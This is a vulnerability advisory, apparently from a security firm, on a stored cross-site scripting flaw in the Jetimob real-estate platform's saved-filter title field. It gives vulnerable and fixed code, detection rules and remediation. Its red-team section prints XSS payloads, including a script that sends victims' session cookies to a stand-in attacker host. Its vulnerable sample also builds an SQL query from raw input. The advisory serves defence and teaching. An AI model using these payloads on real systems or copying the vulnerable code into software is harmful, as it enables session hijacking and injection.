CVE-2024-41503

Executive Summary

CVE-2024-41503 identifies a stored Cross-Site Scripting (XSS) vulnerability in the Jetimob Plataforma Imobiliaria application, version 20240627-0. The flaw resides in the "Título" (title) field within the filter save option of the "Busca" (search) function. An attacker can inject arbitrary JavaScript code into this field, which is then stored and executed in the browsers of other users who view the saved filter. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly known, but no official patch has been released by the vendor. The CVSS v3.1 base score is 4.3 (Medium), with a vector of AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct web application flaw in a proprietary PHP/JavaScript-based real estate platform. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the stored XSS.
• User Interaction (UI): Required (R) – A victim must view the maliciously crafted saved filter.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. The vulnerability requires user interaction but can be exploited without authentication, making it a realistic phishing or social engineering vector.

Deep Dive & Mechanics

The Jetimob Plataforma Imobiliaria application allows users to save search filters for later use. The "Título" (title) field is used to name these saved filters. The application fails to properly sanitize or encode user input before storing it in the database and later rendering it in the browser.

Attack Flow:

1. An attacker navigates to the search (Busca) function.
2. The attacker creates a new filter and enters a malicious payload in the "Título" field, e.g., <script>alert('XSS')</script>.
3. The application stores this payload in the database without sanitization.
4. When any user (including administrators) views the list of saved filters, the malicious script executes in their browser context.

Root Cause: Lack of output encoding and input validation on the "Título" field. The application likely uses innerHTML or similar DOM manipulation without escaping.

Vulnerable vs. Patched Code

Since no official patch is available, the following represents the vulnerable code pattern and a recommended fix.

Vulnerable Code (PHP/JavaScript):

// Vulnerable PHP code that stores the title
$title = $_POST['filter_title'];
$query = "INSERT INTO saved_filters (title, user_id) VALUES ('$title', '$user_id')";
mysqli_query($conn, $query);

// Vulnerable JavaScript that renders the title
document.getElementById('filter-list').innerHTML += '<li>' + savedFilter.title + '</li>';

Patched Code (Recommended):

// Patched PHP code with input sanitization
$title = htmlspecialchars($_POST['filter_title'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO saved_filters (title, user_id) VALUES (?, ?)";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "si", $title, $user_id);
mysqli_stmt_execute($stmt);

// Patched JavaScript using textContent to prevent XSS
var li = document.createElement('li');
li.textContent = savedFilter.title;
document.getElementById('filter-list').appendChild(li);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to the Jetimob application (version 20240627-0).
• Ability to create a saved filter.

Exploit Steps:

1. Log in to the application (if required) or access the public search function.
2. Navigate to the "Busca" (search) page.
3. Click on "Save Filter" or similar option.
4. In the "Título" field, inject the following payload:

   <img src=x onerror=alert(document.cookie)>
   

5. Save the filter.
6. Craft a phishing link that directs a victim to the saved filters page, e.g., https://target.com/filters.
7. When the victim views the filter list, the XSS triggers, exfiltrating their session cookie.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Defense)

Detection:

• Monitor web application logs for unusual characters in the "Título" field (e.g., <script>, <img, onerror).
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Deploy Content Security Policy (CSP) headers to restrict script execution.

Defense:

• Apply input validation and output encoding as shown in the patched code section.
• Implement a strict CSP: default-src 'self'; script-src 'self'.
• Regularly update the application; if no patch is available, consider disabling the filter save feature.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar parameters.
  • Unusual Referer headers pointing to the Jetimob application.
• File IOCs:
  • Log entries containing <script> tags in the filter_title field.
• Behavioral IOCs:
  • Unexpected creation of saved filters with suspicious titles.
  • Multiple failed login attempts followed by successful session hijacking.

Detection Engineering

YARA Rule

rule Jetimob_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Jetimob Plataforma Imobiliaria"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-41503"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]+onerror\s*=/i
        $xss3 = /<svg[^>]+onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Jetimob Stored XSS in Filter Title
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Jetimob Plataforma Imobiliaria filter title field
author: Valters IT
logsource:
    category: web_application
    product: generic
detection:
    selection:
        http.method: POST
        http.url: '*/save_filter*'
        http.body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in titles (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"Jetimob Stored XSS Attempt in Filter Title"; flow:to_server; content:"POST"; http_method; content:"/save_filter"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the filter save feature until a patch is applied.
2. Implement a Web Application Firewall (WAF) rule to block XSS payloads in the filter_title parameter.
3. Add Content Security Policy (CSP) headers: Content-Security-Policy: default-src 'self'; script-src 'self';.

Long-Term Fix:

• Apply input validation (whitelist allowed characters) and output encoding (HTML entity encoding) to all user-supplied data.
• Use parameterized queries to prevent SQL injection (though not the primary issue, it is a related best practice).
• Contact Jetimob for an official patch or consider migrating to a different platform.

Verification:

• After applying fixes, test by attempting to inject <script>alert(1)</script> into the title field.
• Use automated scanners like OWASP ZAP to verify no XSS vulnerabilities remain.

Valters IT - DevSecOps & Cyber Threat Intelligence